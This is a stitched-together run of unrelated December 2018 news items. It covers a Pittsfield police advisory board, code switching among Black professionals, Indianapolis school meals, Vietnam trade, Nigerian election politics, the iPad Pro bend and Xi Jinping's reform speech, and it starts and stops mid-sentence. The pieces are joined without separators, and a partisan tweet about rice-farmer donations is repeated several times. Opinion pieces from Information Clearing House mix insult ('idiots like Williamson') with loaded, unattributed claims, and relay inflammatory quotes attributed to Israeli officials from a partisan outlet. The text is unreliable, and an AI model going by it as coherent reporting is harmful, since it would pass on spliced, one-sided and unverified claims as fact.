city of Pittsfield, are able to pass a background check, are over the age of 18, and shall not be a city worker or immediate family member of someone in the Police Department. He was unsuccessful in a pitch to add language calling on the mayor to seek board members with characteristics fitting for such a board including the demonstrated ability to fair and non-biased. Caccamo said the latter was intended to keep people with an ax to grind with police off the board and instead seek members who will be impartial. Caccamo then successfully motioned to outline more specifically the types of training members will take to be on the board including an understanding of the Police Department's policies, use of force, Civil Service and Open Meeting Laws, and more. He then added a line calling on board members to go on patrol with officers on a quarterly basis. Wynn spoke highly of providing the members opportunities for ride-alongs and said the department could accommodate those. He said the committee members will benefit from understanding what it is like on the streets when decisions are made rather than being in a well-lit room at City Hall rendering judgment. Caccamo then successfully added language directing the mayor to appoint a diverse membership and language outlining the frequency of meetings being no less than quarterly and no more than bi-weekly. Caccamo was unsuccessful in a pitch to lower the number of board members to five. Instead, the rest of the subcommittee went along with Ward 6 Councilor John Krol's push to expand the board membership to 11 the size started at 13 and was scaled down to nine to become more manageable. The makeup of the committee is specifically spelled out to includes at least some representation from the NAACP, the immigrant community, youth, and the faith communities. Caccamo attempted to make those less restrictive but was outvoted. "I think having more voices is better than having less voices," said Chairman Peter White. Even after a lengthy period of time discussing the creation of such committee, Caccamo and Krol both felt more could have been done to give more power to the group. "I think there are some scenarios this board could still have some powers and duties that meet the needs of the original petitioners wanting something with teeth," Caccamo said. Caccamo pushed to table the issue to craft some additional language to do so but was unsuccessful. Krol said that while it lacks "teeth" the proposal is better than nothing. Ongoing Coverage: Code switching is a part of everyday life for most people. Between interacting with friends, family and strangers, demeaner and language change to match different situations. But for Black professionals, code switching feels like a mandate handed to them by a mostly white workforce. Black professionals dress differently, talk differently, act differently all in an effort to fit in, or at least not stand out. Brendon Howell, president of the Indianapolis chapter of the National Association of Black Accountants, called code switching a survival tactic. For us to fit in in a white mans world, we need to code switch to speak like they do so they think were just as intelligent as they are, Howell said. Howell, who works at an accounting firm in Indianapolis, said Black professionals develop a white voice to move away from Black English (sometimes called African-American vernacular English or Ebonics), to make sure were actually seen for what were there to offer. Faren Jones, donor relations coordinator at Child Advocates in Indianapolis, said code switching is an unfair burden for Black professionals and, like Howell, described it as a means of survival in workplaces dominated by whites. Jones said where she works now is more diverse than most other professional workplaces, which takes some of the pressure off. But for the average Black professional who feels like theyre stuck being an ingenuine version of themselves, Jones said refusing to code switch doesnt necessarily make things easier. Its exhausting at times, she said, but it would also be exhausting to be yourself because youd have to explain cultural language. ZeNai Brooks, an accountant at a public firm in Indianapolis, said her code switching involves changing the way she talks, dresses and does her hair. She said its understood that the dominant white culture wont allow big, natural hair or bright clothing. They paint a picture of how youre supposed to look when you go to work, Brooks said, so you try to match that and not bring other parts of yourself to work. The changes are dramatic enough that its common for co-workers, according to Brooks, to not recognize her if they see her in public. This raises a dilemma for Black professionals who have to walk back and forth between cultural norms. Brooks said once a white person told her at a networking event that she wasnt one of them, referring to other Black people. Its almost like Black professionals that work at a corporate environment arent the same as other Black people, Brooks said of the clash between Black and corporate cultures. One way code switching is mandated for Black professionals is the expectation to act professionally. Brooks said she understands that to mean acting white, since the prototypical professional is a white man. Jones said she knows, as a Black woman, exactly what it means to act professionally. Its to not interrupt people, to not disagree, to only speak when spoken to so you arent perceived as angry, to not question the status quo and just go along with it, she said. Howell, Jones and Brooks agreed code switching is usually not a conscious effort, and thats because they learned from a young age how to do it and what purpose it serves. Jones said she attended majority-white schools as a kid and just learned how to fit in. She said she didnt learn code switching was an actual thing until after graduate school. Howell and Brooks both learned from listening to their mothers talk on the phone with a white voice. Now, as professionals, they understand the pressure from coworkers to become a different version of themselves. I just want to be consistently me, Brooks said, and thats not always easy to do. Contact staff writer Tyler Fenwick at 317-62-7853. Follow him on Twitter @Ty_Fenwick. For a few years, educators and administrators in Indianapolis Public Schools (IPS) tossed around the idea of serving meals for children during school breaks. After seeing several other schools successfully adopt similar programs, IPS decided to do the same. In 2015, the district began serving lunch for all children under the age of 18 during school breaks. Since then, the program has blossomed due to better marketing of the initiative and meals being served in a variety of locations. This year, IPS will have 16 sites open, 15 of which will be schools and one location at the public library in the Irvington neighborhood. Schools with daycares on site will serve both breakfast and lunch. Dena Bond, the food service director at IPS, oversees the entire food service department, which is responsible for serving almost 30,000 students a day. We serve all of our students free of charge under the USDA Community Eligibility Provision, she said. We serve breakfast and lunch with a fresh fruit or veggie each day. In addition to serving meals over school breaks, we have summer programs and provide after school snacks. We are pretty much serving a meal somewhere every week of the year. Bonds team provides every meal option they can for students because she believes its their duty. IPS is able to operate the USDA program due to the poverty rate of the school district. While IPS isnt required to offer all the meals they do, Bond and her team believe they should do everything they can to get children a hearty, healthy meal they wouldnt have otherwise. During winter break meal service, every child under the age of 18 will be eligible for a meal free of charge, regardless of if they are an IPS student or not. If your cousin from Ohio is visiting for the holiday, they can come to one of our locations and receive a meal as well, Bond said. To date, 4,070 meals have been served over winter break and more than 160,000 meals have been served during all school breaks since the program began in 2015. Last year during winter break, about 230 meals were served each day. This year, Bond hopes to double that, especially after learning some food pantries in the city dont serve meals during the holidays. The district will also donate all leftover food from the lunches to local food banks. Lunch is served Children 18 and under regardless of their school district can eat lunch at one of 15 IPS schools and the Irvington Library from 11 a.m. to 12:30 p.m. Dec. 26-28 and Jan. 2-4, 2019. Locations Arlington Woods School 99, 5801 E. 30th St. Brookside School 54, 3150 E. 10th St. Carl Wilde School 79, 5002 W. 34th St. Center for Inquiry School 27, 1545 E. 19th St. (No service on Dec. 26) n Center for Inquiry School 84, 1440 E. 57th St. (No service on Dec. 26) Charles Warren Fairbanks School 105, 8620 Montery Road Christian Park School 82, 4700 English Ave. Daniel Webster School 46, 1450 S. Reisner St. Edison School of the Arts 47, 777 S. White River Pkwy W. Drive Eleanor Skillen School 34, 1410 Wade St. Francis W. Parker School 56, 2353 N. Columbia Ave. George S. Buck Elementary School 94, 2701 Devon Ave. Global Prep Academy at School 44, 2033 Sugar Grove Ave. Irvington Library Branch, 5625 E. Washington St. (No service on Fridays) James Whitcomb Riley School 43, 150 W. 40th St. Thomas Gregg School 15, 2302 E. Michigan St. The statement was made at a recent meeting between Dubai firms under the Bilateral Investment Cooperation Programme and the Ministry of Planning and Investment in Hanoi recently. Deputy Minister of Planning and Investment, Vu Dai Thang, welcomed the Dubai delegation, including representatives from the World Association of Investment Promotion Agencies (WAIPA) and the Dubai Investment Development Agency (Dubai FDI), as well as executives from SAPA Thale Group, Beaufort Global and the Milcon Gulf Group. At the meeting, the delegation presented investment plans between Dubai FDI and the SAPA Thale Group in Vietnam in various fields, including finance, banking, hi-tech development, infrastructure development, the environment, energy, transportation, real estate, hotels and tourism. They also voice their support to improve the investment environment in the country. Deputy Minister of Planning and Investment Vu Dai Thang (second left) joins a group photo with the Dubai business delegation. Deputy Minister Thang praised the cooperation between SAPA Thale and Dubai FDI, saying that the "Bilateral Investment Cooperation Programme" will be successful and contribute to the economic development between Vietnam and Dubai. On behalf of the business delegation, Vietnamese-German billionaire Mai Vu Minh affirmed that the group would do their best for Dubai business and the UAE business sector to strongly invest in Vietnam in the future. The bilateral investment cooperation programme is a prerequisite for Vietnamese businesses to promote investment attraction from Dubai and the Middle East, as well as joint economic development ventures between Dubai and Vietnam in general and each business in particular, he added. Earlier, on December 11, in Ho Chi Minh City, the signing ceremony of the Bilateral Investment Cooperation Programme took place between the Chairman of the Board of SAPA Thale Group, Mai Vu Minh and Vice President of the WAIPA and CEO of Dubai-based Dubai FDI, Fahad Al Gergawi, Beaufort Global CEO, Rene Bernad Beil, and representative from Milcon Gulf Group, Giang Ly Lien Khang. By Finian Cunningham December 19, 2018 " Information Clearing House " - Britains defense minister Gavin Williamson this week said that he will tackle the alleged threat from Russia by sending warships, submarines and marines to the Arctic. Britain's Real Enemy, Not Russia No kidding. The man in charge of defending Britain, Gavin Williamson, told Bloomberg News that the UK is to urgently adopt Cold War strategy to confront Russia and that forces must be readied. Defense Secretary Williamson said under his ministerial watch Britain would be redeploying Cold War strategy which had been abandoned more than two decades ago, following the dissolution of the Soviet Union. He said warships, attack submarines and helicopters were being made ready to confront an alleged threat posed by Russia to Britain's national security. "In response to current Russian aggression, the UK has also stepped up training of its Royal Marines in Norway's Arctic," reported Bloomberg. No evidence was cited as to what constituted the alleged Russian aggression. It's all on the say-so of people like Williamson and media stenographers. Are You Tired Of The Lies And Non-Stop Propaganda? Get Your FREE Daily Newsletter Now, one would think that given there are only 100 days to go to Britain's tumultuous divorce from the European Union on March 29, the British minister would have a lot more urgent issues to consider. Apparently not. Business leaders and assorted commentators, as well as large numbers of the ordinary British public, are deeply alarmed about the possible chaos if Britain crashes out of the EU without any trading arrangement. The so-called "hard Brexit" is looming ever more likely as Britain's Prime Minister Theresa May fails to galvanize support for her withdrawal deal. The British cabinet has drawn up plans to deploy some 3,500 troops across the nation in the event of Brexit chaos. What those armed services would be doing precisely is not clear. But it is reported that Britain's top national security committee, COBRA, is to meet on a daily basis in the countdown to Brexit, presumably to assess the impact on defenses from a disorderly exit from the EU. With all the concern over social disruption from the impending divorce from Europe, one wonders why Gavin Williamson devoted his time this week to talk about "tackling the threat from Russia" and dispatching warships and troops to the Arctic. Surely a preposterous lack of priority! But then what should one expect from the 42-year-old boyish-sounding defense minister who has been one year in the job? Before that high-level posting Williamson has had exactly zero experience in military affairs. He neither served in the armed forces, nor had he any government service relating to military or defense matters. Indeed it is something of a mystery how a former manager of a pottery and china plate factory should six years after becoming a Member of Parliament in 2010 now be the man in charge of Britain's war policy. Previously, Williamson gained notoriety during the Skripal affair earlier this year when he declared that "Russia should go away and shut up!". For that outburst, Russia's Ministry of Defense spokesman Major General Igor Konashenkov ridiculed Williamson's "intellectual poverty". Despite his dubious intelligence, the former pottery-sales-manager-turned-armchair-general has been running his mouth off about how Russia is allegedly targeting Britain with cyber attacks and other forms of aggression. Williamson has recklessly accused Moscow of plotting to sabotage Britain's undersea cables for communications and its civilian power infrastructure. Again, no evidence is ever presented, merely lurid sensational claims. This scaremongering, warmongering Russophobia is all about keeping idiots like Williamson in a high-paying job. And no doubt a plush job to follow at some warmongering pro-NATO think-tank. However, this week's installment involving sending British forces to the Arctic "to defend Britain from Russia" is obviously aimed at the additional purpose of distracting Britons from the Brexit mess that Williamson's government has created. It truly is mind-numbingly appalling that a time when Britain is seeing record numbers of child poverty and homelessness which could all be greatly exacerbated by Brexit you have the man in charge of national defenses talking about sending warships and troops to the Arctic to fight Russia. In long-held scurrilous tradition, Britain's ruling class are squirming out of responsibility for their atrocious failings by blaming some imagined foreign enemy in this case, Russia. It is time for British people to realize that their real enemy is the effete, elite ruling class which treats with them contempt, poverty and abject callousness. Britain needs defending alright from the likes of Gavin Williamson and his incompetent government. Home Search ICH Senior Israeli Lawmaker Calls for Killing All Palestinians, Because they are just Nazis Anyhow Strategic Affairs Minister Gilad Erdan said that the number [of peaceful Palestinian protesters] killed does not mean anything because they are just Nazis anyhow. By Days of Palestine December 19, 2018 " Information Clearing House " - Chair of the Defence Committee at the Israeli Parliament Avi Dichter has called for killing all the Palestinians in the Gaza Strip. As he was commenting on the peaceful protests of the Great March of Return taking place along the eastern fence of the Gaza Strip, he said: The Israeli army has enough bullets for every Palestinian. Dichter is a senior member of the Israeli Prime Minister Benjamin Netanyahus ruling Likud Party, which is a right wing one. Are You Tired Of The Lies And Non-Stop Propaganda? Get Your FREE Daily Newsletter Former director of Shin Bet internal security service and Minister of Internal Security Dichter said that the Israeli army is prepared to use all means, including lethal force to deter the Palestinians protesters. Since March 31, thousands of peaceful Palestinian protesters have been staging protests along the eastern fence of the Gaza Strip, calling for lifting the 12-year-old Israeli siege and reinforcing the right of the Palestinian refugees to return to their homes. Strategic Affairs Minister Gilad Erdan repeatedly referred to the protesters killed in Gaza as Nazis, saying that there were no demonstrations, just Nazi anger. He later added: The number [of peaceful Palestinian protesters] killed does not mean anything because they are just Nazis anyhow. This article was originally published by " Days Of Palastine " - " Global Research News and Paul Craig Roberts " - Do you agree or disagree? Post your comment here ==See Also== Note To ICH Community We ask that you assist us in dissemination of the article published by ICH to your social media accounts and post links to the article from other websites. Thank you for your support. The views expressed in this article are solely those of the author and do not necessarily reflect the opinions of Information Clearing House. US Offers to Withdraw Troops From Afghanistan By Mohammed Ismail December 19, 2018 " Information Clearing House " - America is ready to set out a plan to withdraw from Afghanistan in return for a six-month Taliban ceasefire as Washington presses for an end to the 17-year conflict. Sources close to the insurgents say that the proposal, which would see the US retain three military bases in Afghanistan, was made as the latest round of dialogue between American and Taliban officials entered a third day in Abu Dhabi. The US is pushing for a ceasefire before Afghan presidential elections in April but the Taliban is resistant as splits emerge in the Islamist movement over whether to make concessions. The Taliban wants President Ghani replaced with a caretaker government. This article was originally published by " The Times " - Are You Tired Of The Lies And Non-Stop Propaganda? Get Your FREE Daily Newsletter Do you agree or disagree? Post your comment here ==See Also== Afghanistan : Militant leader among 13 killed in U.S. drone strike Taliban says U.S. talks focused on prisoner swap, U.S. withdrawal US pressing for six-month ceasefire in Afghanistan: Taliban can think about a ceasefire if Saudi Arabia, UAE and Pakistan become guarantors and US appoints their nominee as head of caretaker government in Afghanistan Note To ICH Community We ask that you assist us in dissemination of the article published by ICH to your social media accounts and post links to the article from other websites. Thank you for your support. The Minister of Information and Culture, Lai Mohammed, has said that the presidential candidate of the Peoples Democratic Party, PDP, is desperate. Mr Mohammed made this known during a media briefing on Thursday in Abuja. He said Atikus desperation is due to his floundering campaign. This was in reaction to a statement credited to the former vice President, in which he said that killings in the country, wont cease unless Buhari is voted out. It is clear to all Nigerians that the electioneering campaign of the PDP presidential candidate has failed to gain traction. From Sokoto to Ilorin to Ibadan to Gombe, it has been a disastrous outing for the campaign. With that magnitude of failure, anyone can say anything to stay afloat. Speaking on allegation of clampdown on civil society following the re-arrest and detention of Deji Adeyanju, Lai Mohammed said theres no such thing. There is no clampdown on any civil society, except in the wild imagination of naysayers. As I have said, being in opposition is no licence to break the law and then hope to escape justice. If the police have re-arrested Adeyanju, they must have a compelling reason to do so. Anyone who breaks the law must face justice. Senator Shehu Sani representing Kaduna central, has mocked speculations that the reason why the Electoral Amendment Bill wasnt signed, is because Russia will meddle or temper with our elections. The senator said the reason is simply an excuse and very untenable. The senator added that the government must submit to free and fair elections, saying the world is watching. Shehu Sani, said this via Twitter on Thursday. However, some of his followers while responding to his statement said such allegations against Russia for meddling in US elections or others is a western concocted media campaign to damage Russias image. He wrote: The conjecture that Russia will meddle or temper with our elections if the electoral bill is signed & applied is baloney. Its an untenable mythical tale adopted & advanced as an excuse.The Government must commit & submit itself to free elections as The World is watching us. Manchester United parted with their Portuguese tactician, Jose Mourinho, on Monday following strings of unpleasant run that saw the Red Devils lounging in 6th position and 19 points behind league leader, Liverpool. The Self acclaimed special one was sacked after being capitulated 3-1 by Liverpool on Sunday. Ivorian International, Eric Bailly, has taken out time to praise the Portuguese tactician despite being relegated to the bench by the manager. Bailly who was signed by Mourinho two seasons ago became an instant click as a result of his no nonsense defensive approach to game but found playing time limited after suffering a dip in form. What he said: Presidential aide to President Muhammadu Buharis aide on social media, Lauretta Onochie has revealed that farmers in Nigeria have endorsed the President, and donated huge sums to his reelection campaign. Mrs Onochie made the revelation via her Twitter handle on Wednesday. According to her, Rice Growers Association endorsed Buhari, while also donating the sum of N100 each towards his reelection bid. There are 12.2 of them You dont need to do d maths. Its N1.2billion This is 12.2 million votes according to d chairman of d RGA Pls dont argue with me. Argue with d farmers News Flash Rice Growers Association has endorsed @MBuhari Donates N100 each towards his reelection bid. There are 12.2 of them You dont need to do d maths. Its N1.2billion This is 12.2 million votes according to d chairman of d RGA Pls dont argue with me. Argue with d farmers News Flash Rice Growers Association has endorsed @MBuhari Donates N100 each towards his reelection bid. There are 12.2 of them You dont need to do d maths. Its N1.2billion This is 12.2 million votes according to d chairman of d RGA Pls dont argue with me. Argue with d farmers Lauretta Onochie (@Laurestar) December 19, 2018 Maize Farmers Association of Nigeria has endorsed Pres. Buhari for a second term. It's a harvest of endorsements for our dear Leader. #SaiBabaBuhari Lauretta Onochie (@Laurestar) December 19, 2018 The fertilizer association werent also left out in the donation spree, as they also doled out a whooping N550m towards the presidents campaign. Two-way trade between the two countries reached US$62.6 billion by the end of November, making Vietnam become the fourth largest trading partner of the RoK, after China, the United States and Japan. The RoKs 11-month exports to Vietnam rose by 1.9% year on year to US$44.5 billion, the ministry said. Vietnam was the eighth largest trading partner of the RoK in 2014, but has risen to become the fourth largest since the RoK-Vietnam bilateral trade agreement took effect in December 2015. The RoK is currently the no. 1 foreign investor in Vietnam, pouring US$2.81 billion worth of direct investment into the Southeast Asian nation in the first nine months of the year, up 24.5% compared to the same period in 2017. An increasing number of RoK companies, including Samsung Electronics Co., Ltd., have constructed factories in Vietnam to manufacture advanced technological products, including semiconductors, screens and mobile phones. Most recently, on December 6, Vietnam and the RoK signed an action programme aimed at the goal of increasing bilateral trade revenues to US$100 billion by 2020. The programme is of great significance, indirectly contributing to shaping a number of Vietnams spearhead economic sectors, promoting the countrys exports and diversifying imported products and choices of consumers. A mother is looking forward to her first proper Christmas with her seven children after spending last December in hospital with her surprise triplets, Dailymail UK reports. Identical triplets Thai, Tyler and Tomas were conceived naturally at odds of 160,000 to one after Mary McCandlish, 36, from Barrhead in East Renfrewshire decided she wanted one last baby to add to her family of four. Mary had Thai, Tyler and Tomas by Cesarean section last October weighing just 3lbs, 21bs and 1lb. After spending last Christmas at Queen Elizabeth University Hospital in Glasgow, while the boys were fighting for their lives in an incubator, Mary is looking forward to their first Christmas at home. This year theyll be at home with big brothers Peter, 17, Emily, 15, James, seven, and sister Katrina, 14. We spent last Christmas sitting around three little incubators watching the boys fight to survive, said Mary. My triplets were born 10 weeks early by cesarean section after doctors decided it would be too risky for the pregnancy to continue. I am just 5ft 1in and felt I had done well to get to 30 weeks in pregnancy. The boys were running out of space in the womb and doctors wanted to give them the best chance to survive. The baby boys had to be delivered 10 weeks early as doctors feared they would not continue to thrive in the womb much longer. They were all linked to the same placenta which struggles to feed babies after 30 weeks. Premature babies lungs are not fully developed enough to breathe on their own and it is vital for them to work well enough to get oxygenated blood to their brains and the rest of their bodies. But earlier this year, after 10 weeks in hospital, the boys were allowed home to join their four big brothers and sisters at home. Thai arrived home first, followed by Tyler and then Tomas. Mary says she this will be the best Christmas ever for the family. It will be one of the busiest in any home in the country, Ill bet. Led with laughter and fun, the way any familys should be. The older kids will be playing with mobile phones and the triplets will probably abandon their toys and want to play with the boxes. The bond between the triplets is a close one. Mary says they only have to look at one another and they burst into giggles. Vanguard Presidential candidate of the Peoples Democratic Party, PDP, in the 2019 elections, Alhaji Atiku Abubakar has again taken a swipe at President Muhammadu Buhari and All Progressives Congress, APC, saying they lack the skill to manage the nations economy. The Nation President Muhammadu Buhari was yesterday forced to caution some recalcitrant members of the National Assembly who jeered at him as he presented the 2019 Appropriation Bill.They interrupted his remarks at the presentation of the N8.83 trillion budget proposals, but the President remained calm, even as he gently scolded the unruly lawmakers.May I appeal to the honourable members that the world is watching us were supposed to be above this, Buh ThisDay Presidential candidate of the Allied Congress Party of Nigeria (ACPN), Dr. Obiageli Ezekwesili, has expressed doubt over the willingness of President Muhammadu Buhari to ensure peace in the 2019 elections. She said this during a meeting with the International Republican Institute (IRI) and the National Democratic Institute (NDI), which are fielding a Joint International Elections []The post Buhari Not Interested in Peace, Working to Compromise Election, Ezekwesili The Sun Borno Commandant of the Nigerian Security and Civil Defence Corps (NSCDC) Abdullahi Ibrahim, said one of the two female Boko Haram bombers nabbed by the command is the wife of Mamman Nur, a factional leader of the terrorist group. The teenager, who was identified as Fatima Muhammed Kabir, was arrested recently along with another woman, The Authority The Peoples Democratic Party (PDP) has claimed that there was a fresh plot to use the Police and the Department Daily Times The All Progressives Congress (APC) and the Peoples Democratic Party (PDP) governorship candidates in next general election in Akwa Ibom state have continued to trade . Daily Trust The Kwara State High Court, yesterday, recognised the executive committee of the Isola Balogun-Fulani faction of the All Progressives Congress (APC) in the state. Leadership Senate President, Bukola Saraki, Managing Director, Nigerian Ports Authority (NPA), Hadiza Bala-Usman, and Managing Director of Inland ContainersNigeria Limited (ICNL), Ismail Yusuf, among others have received the 2018 awards of excellent leadership. The award was given to them by the Association of Maritime Journalists of Nigeria (AMJON Tribune THE Peoples Democratic Party (PDP) has expressed shock over the gruesome murder of former Chief of Defence Staff (CDS), Air Chief Marshal Alex Badeh (rtd) by yet to be identified gunmen, describing it as a national loss. In a statement issued by National Publicity Secretary of the party,Kola Ologbondiyan in Abuja on Wednesday, it said Former vice President, Atiku Abubakars media aide, Paul Ibe, has said that the unemployed population under President Muhammadu Buhari, is now the size of Benin Republic. The aide to the presidential candidate of the Peoples Democratic Party (PDP), said this in a statement on Thursday, while reacting to the latest job report released by the National Bureau of Statistics (NBS). In the Q4 2017 to Q3 2018 report released on Wednesday, by the NBS, showed that the number of unemployed Nigerians rose from 17.6 million to 20.9 million in the period being reviewed. We expected a terrible job report, particularly with the comment on live television from the presidents spokesman, Garba Shehu, that President Buhari had ordered the Statistician General of the Federation, Dr. Yemi Kale, not to release the latest job reports. However, the job report released by the National Bureau of Statistics on Wednesday is not just terrible, it is catastrophic. They show that under the All Progressives Congress administration, a whopping 20.93 million Nigerians have lost their jobs. To put this in perspective, the unemployed population in Nigeria is now twice the population of Benin Republic. Ibe said that his principal being already an expert at creating jobs will do the same if elected. The aide said that Atiku wouldnt spend his administration, blaming anyone. Atiku Abubakar is an expert at job and wealth creation having created 50,000 jobs in his own private capacity. This is a man who will never have 150 cattle year in and year out. This is a man who will never blame others and will always accept responsibility for changing things. Nigeria needs jobs and Atiku means jobs. Everything is fine if you have a brand new 2018 iPad Pro, whether in the 11- or 12.9-inch variant, and you notice it has a slight bend in the frame. At least, thats what Apple will tell you. The Verge is reporting on Wednesday that the company has confirmed with the publication that some 2018 iPad Pro models will indeed ship slightly bent thanks to the design of the tablets. However, just because your almost-$1,000 tablet (with the base model, +$1,000 if you get more storage and want LTE) is slightly bent right out of the box doesnt mean thats a bad thing. Apparently. Apple says that the bend in the frame is due to the cooling process involving the iPad Pros metal and plastic components. And while some customers have complained that their new iPad Pro model has bent after some period of time and usage, others have said that their devices were bent right out of the box. Now, Apple is saying that is indeed possible. And it looks like the LTE-equipped model, which is even more expensive than the standard iPad Pro without cellular connectivity, is even more prone to the issue (non-issue): Its an issue that seems to be more pronounced on the LTE model, as theres a plastic strip that breaks up the iPads flat aluminum sides; its where the antenna line divides two sections of metal that some users have noticed a bend. Apple did not say the perceived flaw is strictly limited to the cellular iPad Pro, however, and some buyers of the Wi-Fi model also claim to have encountered it. At this point, though, despite this revelation, Apple is still standing by the product build of the 2018 iPad Pro. Apparently its simply just trying to get ahead of whatever this might turn into and confirming that, yes, the iPad Pro can bend, and, yes, the new, expensive tablet may be bent right out of the box. Thats an interesting way to close out 2018. If you want to watch the stress test with the 2018 iPad Pro again, where it ends with the tablet bending like a piece of paper, you can check that out below. Is this as big an issue as #bendgate from the iPhone 6 Plus days? Honestly, it doesnt feel like it, mostly because this issue went pretty dark after the initial claims cropped up. But, even if it isnt gaining as much traction as that initial maelstrom of ridiculousness all those years ago, it doesnt some how reduce the impact it has on customers and potential customers. And Apple probably isnt exaggerating here, or trying to cover something up. This is probably not a defect and is indeed a result of the manufacturing process. But are we really at a point where were okay with this, just because its part of the manufacturing process? I dont want my expensive device to bend, ever, and I certainly dont want my device to be bent right out of the box. What do you think of all this? [via The Verge Army High Altitude School Rattu Chowkidar Job 2019 Latest Army High Altitude School Rattu Security Posts Gilgit 2021 A well reputed Army High Altitude School, Pakistan Army in Rattu Gilgit Baltistan required experienced, responsible and strong person for the position of Chowkidar. How to Apply on Army High Altitude School Rattu Job Advertisement Apply as per details in job advertisement. In some cases, you may apply online at vacancies after registering at https://www.jobz.pk online. Note: Beware of Fraudulent Recruiting Activities. If an employer asks to pay money for any purpose, do not pay at all and report us at contact us form. Apply as per instuctions & dates mentioned in official job ad. Govt jobs may not be applied online here. Human typing error is possible. Error & omissions excepted. Ranked seventh out of 28 in the list, Hoang Lien Son is praised by the magazine as much of this northwest mountain region (beyond the busy gateway town Sa Pa) remains rugged, rural, and a world away from hectic Hanoi, which is about 313 kilometres to the southeast. Thanks to a new cable car connection, tourist traffic is on the rise at 10,312-foot high Fansipan, Vietnams highest peak, it said. It suggested visitors go hiking routes in and around Hoang Lien Son National Park and the adjacent Muong Hoa Valley, then resting up at homestays among the Hmong, Red Dao, Tay, Giay, and other ethnic minority groups. It also recommended Sapa Sisters, a sustainable tourism venture owned by local Hmong women, which offers custom trekking adventures; and Topas Ecolodge, a National Geographic Unique Lodge of the World tucked on a hilltop inside Hoang Lien Son National Park, where guests can discover the cultures, languages, and traditions of Sa Pas diverse tribes. The 28 best trips for 2019 were voted by travel editors and explorers of National Geographic. Mexico City (Mexico) topped the list, followed by Peruvian Amazon, Fanjingshan (China) and Dakar (Senegal). A view of Topas Ecolodge, a National Geographic Unique Lodge of the World tucked on a hilltop inside Hoang Lien Son National Park (Photo: Topas Ecolodge) We're always interested in hearing about news in our community. Let us know what's going on! Go to form * Vietnam becomes member of UN Commission on International Trade Law A high number of votes (157 out of 193) for Vietnam on its debut as a UNCITRAL member is the recognition of the countrys active and responsible contributions to the common affairs of the international community, while demonstrating Vietnams increasing international prestige and position. As the core legal body of the UN, UNCITRAL was established by the General Assembly in 1966 with the tasks of promoting the harmonisation and unification of international trade law, thus reducing obstacles for the development of global trade. UNCITRAL has completed a large volume of work so far, with a series of recommendations, draft international conventions and resolutions, concerning the legal issues, arbitration, trade dispute reconciliation, and investment, to be submitted to the UN General Assembly for approval. UNCITRALs legal documents and guidelines are the basic foundation to promote international trade, which are applied by countries, businesses, investors, lawyers and arbitrators throughout the world. With such functions and responsibilities, UNCITRAL is one of the most important UN agencies in the legal sphere and becoming a member of the Commission is of great significance to nations. The level of importance is higher for Vietnam as this is the first time it has been elected to UNCITRAL. This not only continues to reflect the level of international credibility for the country, but also marks a new success in its international legal integration process, following Vietnams election to the UN International Law Commission (ILC) in 2016. According to Deputy Foreign Minister Le Hoai Trung, as an official member of UNCITRAL, Viet Nam will have the chance to participate more deeply in the affairs of the Commissions working groups, as well as in discussing the building and adopting of UNCITRALs recommendations. This is an opportunity for Vietnam to contribute actively and proactively to UNCITRALs affairs, especially getting engaged in shaping international trade regulations and laws right from the stage of discussion and negotiations in accordance with the countrys interests. This is a successful step in implementing the Party and States policy of enhancing international integration and multilateral cooperation in the legal field, especially participating in the building and shaping of the common rules at the international level. Over the past few years, Vietnam has joined numerous international conventions, while applying many model laws and rules developed by UNCITRAL, thereby helping finalise the countrys legal system on trade. In fact, prior to becoming a UNCITRAL member, Vietnam has step by step participated as an observer, attending and actively contributing to the meetings and discussions of some of UNCITRALs working groups, notably the activities related to dispute resolution and institutional reforms. The efforts made by Vietnam are the basis for international friends to continue to give high credibility and elect the country to important positions within the UN framework, most recently as a member of UNCITRAL, thus creating conditions for Vietnam to further participate and contribute to the common work. In the current process of extensive integration into the world economy, Vietnam continues to support and promote trade and investment liberalisation through its participation in negotiation, signing and implementation of a series of bilateral and multilateral agreements, especially the Comprehensive and Progressive Agreement for Trans-Pacific Partnership (CPTPP). This process poses an urgent need, while providing opportunities for Vietnam to improve its laws, mechanisms and policies, thus creating favourable conditions for the strengthening of international trade. As a UNCITRAL member, Vietnam will join nations to promote the application of the Commissions documents, initiatives and recommendations, which will enable the country to finalise and modernise national laws on trade, thereby reducing obstacles, adequately resolving disputes, and facilitating international trade in service of sustainable development, contributing to peace, stability and common prosperity. Vietnams election to UNCITRAL is an implementation step of the Party and the States foreign policy of actively and proactively integrating into the world, accelerating and elevating multilateral diplomacy, and applying and participating in the development of international law, aiming to raise the efficiency of external relations and promote peace and prosperity for the country and the world. The success in its first-ever candidacy for UNCITRAL membership has marked a major step forward in Vietnams international integration, thereby elevating the national status, while providing more vivid evidence of the international communitys recognition of Vietnams achievements in reforms, economic development and integration, as well as its active and effective contributions to the joint efforts for global peace and development. Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. President Xi Jinping attends a grand gathering celebrating the 40th anniversary of the countrys reform and opening-up at the Great Hall of the People in Beijing on Tuesday. [Photo/Xinhua] President Xi Jinping's speech on Tuesday to mark the 40th anniversary of China's reform and opening-up provided a nod toward 40 years of incredible achievements while offering policy continuity in the pursuit of future reform, according to experts. "The practice of reform and opening-up over the past 40 years has shown that openness brings progress, while seclusion leads to backwardness," Xi said, while pledging to support the building of an open, transparent, inclusive and nondiscriminatory multilateral trading system. Jon Taylor, an American professor of political science of the University of St. Thomas in Houston, said Xi underscored the critical role that the Communist Party of China has played and continues to play in fostering China's development. "I am particularly encouraged by the fact that Xi's speech sent a strong message of continuity," Taylor said, adding that the Party's success is due to its ability to adapt and change is a message that will resonate well beyond this speech and provide a reminder that China's model of development remains a viable alternative to Western development models. President Xi Jinping and other Chinese leaders shake hands with the award recipients and their relatives after a grand gathering to celebrate the 40th anniversary of China's reform and opening-up at the Great Hall of the People in Beijing, Dec. 18, 2018. [Photo/Xinhua] Gene M. Burke, vice president and general counsel at J&C International Group, said Xi's speech was very effective at showing how the Chinese people and the ruling political party worked together to bring China into the modern age. "Overall, President Xi's speech captured exactly what so many Americans think of China. We share the pride and amazement at the huge strides and accomplishments that China has made in a mere 40 years," he said, adding that it set a good tone for future growth and for continued good relations between China and the US. Chris Rowley, professor of Kellogg College, University of Oxford in Britain, said Xi's speech can be interpreted as the continuation of a long line of grand proclamations in recent years concerning China's economic development, its well-known achievements in sectors including poverty alleviation, healthcare and social security, and the country's role in world affairs and globalization in fight against protectionism. J. Stapleton Roy, the United States' top diplomat in China from 1991 to 1995, said China's progress in the past 40 years, especially the modernization of the country, has been "breathtaking". "More than 100 